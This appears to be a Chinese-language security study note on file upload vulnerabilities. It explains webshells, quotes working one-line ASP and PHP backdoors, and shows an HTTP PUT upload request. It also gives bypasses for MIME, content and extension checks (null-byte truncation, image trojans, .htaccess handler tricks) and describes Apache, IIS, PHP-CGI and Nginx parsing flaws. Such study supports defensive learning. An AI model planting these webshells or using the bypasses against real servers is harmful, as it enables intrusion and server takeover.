漏洞概述

  文件上传是web应用的必备功能之一。如果服务器配置不当或者没有足够的过滤,用户就可以上传任意文件,包括恶意脚本,可执行文件等。

WebShell

  shell俗称"壳"(用来区分核),指为使用者提供操作界面的软件。如win的cmd.exe,linux的bash

  webshell是网站的后门,以http协议进行通信,继承web用户权限去操作服务器。webshell本质是在服务器端可运行脚本文件,接受用户的输入,并在服务器运行。

一句话木马

  asp:

    <%execute request("cmd")%>

  php:

    <?php @eval($_REQUEST['pass']); ?>

  蚁剑与一句话木马配合可以实现:文件管理,虚拟终端,数据库管理

文件上传漏洞利用的条件

  1.web服务器有文件上传的功能,并且用户可以上传文件

  2.web用户对目标目录有可写权限,甚至有执行权限。

  3.上传的文件可以执行,也就是web容器可以解析上传的脚本

  4.服务器配置不当,开启了PUT方法(可以无视以上条件)

防御,绕过,利用

  黑白名单策略

    黑白名单类似一个列表,列表中写了一些条件或规则。禁止在黑名单中的客体,允许在白名单中的客体。

    

  

  PUT方法上传文件

    HTTP请求方法之一,允许向服务器直接写入文件

    测试Apache是否开启PUT方法

      telnet ip 80

      -------------------------

      OPTIONS / HTTP/1.1

      Host:ip

      --------------------------

    上传文件:

    -----------------------------

    PUT /info.php HTTP/1.1

    Host:ip

    Content-Length:18

    

    <?php phpinfo();?>

    ------------------------------

 

 

  前端限制与绕过

    有些web应用上传文件功能仅在前端用了js脚本进行过滤。方法一:直接查看源代码修改js脚本。方法二:用合适后缀名上传,burp抓包后修改后缀名

 

  服务器端检测——MIME类型

      MIME是描述消息内容类型的因特网标准。MIME消息能包含文本,图像,音频,视频以及其他应用程序专用数据。常见MIME类型如下

      文件拓展名          Mime-Type

      .js              application/x-javascript

      .html              text/html

      .jpg              image/jpeg

      .png             image/png

      .pdf              image/application/pdf

      在http协议中使用Content-Type字段表示MIME类型。绕过只需要用burp抓到数据包之后改字段内容。

 

  服务器端检测——文件内容

    服务器端会检测文件内容,甚至会删除掉文件中的恶意代码对图片做二次渲染。

    绕过方法:制作图片木马(在恶意代码前加上GIF89a(GIF文件头),文件合并(copy .jpg/b+.php/a .jpg),利用十六进制编辑器给脚本添加图片文件头)

    

  服务器端检测——后缀名

    服务器端在检测后缀名的时候依然会采用黑白名单策略。黑名单:不允许上传.php|.jsp|.asp|aspx,白名单:只允许上传.jpg|.png|.gif

    黑名单绕过:寻找其他可允许上传的类型来绕过检测(如禁用了.php,上传.php3,.phtml等)

    白名单绕过:

      00截断

        00是NULL(空)字符,url中表现为%00,00截断会导致文件上传路径截断。

        原理:c语言中判断字符串的结束是通过空字符判断的,00表示空字符。当读取到空字符时认为字符串已经结束,导致后面的内容被截断。

        利用方法:可以构造1.php%00.jpg;如果上传路径暴露了,可以修改上传路径为../upload/test.php%00/123.gif

      .htaccess攻击

        .htaccess是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。如果可以上传.htaccess文件,就可以更改apache的配置

 

        .png当作php文件解析

        将如下代码写入.htaccess文件中并上传

          AddType application/x-httpd-php .png

        再上传1.png,内容为<?php phpinfo(); ?>

        访问1.png发现成功被当作php文件解析

        

        文件中包含php关键字

          当文件名为info.php.png,且.htaccess内容为AddHandler php5-script php时,会被当作php文件解析

        

        匹配文件名

          匹配文件名ajest,并执行其中的php代码

          <FilesMatch "ajest">

          SetHandler application/x-httpd-php

          </FilesMatch>

 

 

 

web容器解析漏洞

  Apache解析漏洞(古老)

    Apache解析文件是从右往左解析,info.php.x.xx.xxx,遇到xxx,xx,x时都不能解析,apache会把该文件解析为php文件

  iis6.0解析漏洞

    1.asp;2.jpg(iis6.0会把其解析为asp文件)

    

  PHP CGI解析漏洞(IIS7.0/7.5+PHP环境)

    info.png/.php(会把info.png当作php文件执行)

    防御方法:再php.ini中把cgi.fix_pathinfo=1改为cgi.fix_pathinfo=0

  

  Nginx空字节漏洞

    info.jpg%00.php,会把info.jpg文件当作php文件解析

  

  Nginx文件名逻辑漏洞(CVE-2013-4745)

    上传info.png ,访问info.png ..php,抓包后在hex中把第二个.对应的hex改成00